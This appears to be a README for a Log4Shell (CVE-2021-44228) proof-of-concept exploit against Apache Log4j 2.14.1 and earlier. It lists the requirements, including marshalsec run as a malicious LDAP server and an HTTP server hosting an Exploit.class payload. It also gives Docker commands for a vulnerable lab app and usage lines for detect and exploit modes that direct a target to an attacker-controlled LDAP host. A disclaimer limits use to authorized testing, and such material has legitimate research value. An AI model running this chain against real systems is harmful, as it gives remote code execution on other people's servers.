Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

Proof-of-concept exploit for the critical Log4Shell vulnerability in Apache Log4j ≤ 2.14.1, which allows remote code execution via JNDI injections.

⚠️ This PoC is for educational purposes and controlled testing in authorized environments only. Do not use it against systems without explicit permission.

Requirements

• Python 3.x
• Java 8 or higher
• marshalsec (for malicious LDAP server)
• HTTP server (e.g., python3 -m http.server)
• Docker (optional for vulnerable environment)

Local test environment (optional with Docker)

1. Run the vulnerable app:

   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. Access: http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Usage

Passive detection mode:

python3 main.py -u http://target.com -i burp.collab.net -m detect

Intrusive mode (requires Exploit.class on your HTTP server):

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit